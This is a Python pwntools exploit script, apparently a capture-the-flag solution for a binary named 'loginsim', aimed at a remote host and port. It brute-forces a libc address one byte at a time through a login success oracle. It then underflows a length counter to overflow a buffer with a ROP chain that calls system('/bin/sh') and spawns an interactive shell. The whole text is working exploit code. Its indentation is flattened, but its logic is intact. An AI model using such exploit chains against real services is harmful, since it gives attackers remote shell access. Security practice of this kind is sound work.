#!/usr/bin/python3
from pwn import context, args, gdb, ELF, process, p8, log, u64, ROP, p64, remote
context.arch = 'amd64'
context.binary = elf = ELF("./loginsim")
libc = ELF("./glibc/libc.so.6")
gs = '''
#start
#brva 0x1373
#b _login
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
def leak_libc():
leak = b''
for i in range(0x71, 0x77):
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'length:', str(i).encode())
p.sendlineafter(b'username:', b'A' * 0x70 + leak)
for j in range(256):
p.sendlineafter(b'-> ', b'2')
p.sendlineafter(b'name:', b'A' * 0x70 + leak + p8(j))
if b'Good job! :^)\n' in p.recvline():
log.success(f'Found working byte: {hex(j)}')
leak += p8(j)
break
libc.address = u64(leak.ljust(8,b'\x00')) - 0x1f2fc8 + 0x2000
# Go remote or not
#p = start()
p = remote("94.237.51.163", 52004)
def main():
# ================ LEAK LIBC WITH BRUTEFORCE =================
leak_libc()
log.success(f'Leaked libc: {hex(libc.address)}')
# =============== CHAR OVERFLOW INTO ROP + CANARY BYPASS =====
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'length:', b'128') # Underflow char counter
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh\0')))
log.info("Dumping rop chain:")
print(rop.dump())
pop_rdi = libc.address + 0x0019a5dd
pad_ret = libc.address + 0x0019c0fa
payload = b''
payload += b'w' * 0x40 + b' ' * (0x78 + 48)
payload += p64(pad_ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym.system)
p.sendlineafter(b'name:', payload)
p.interactive()
if __name__ == '__main__':
main()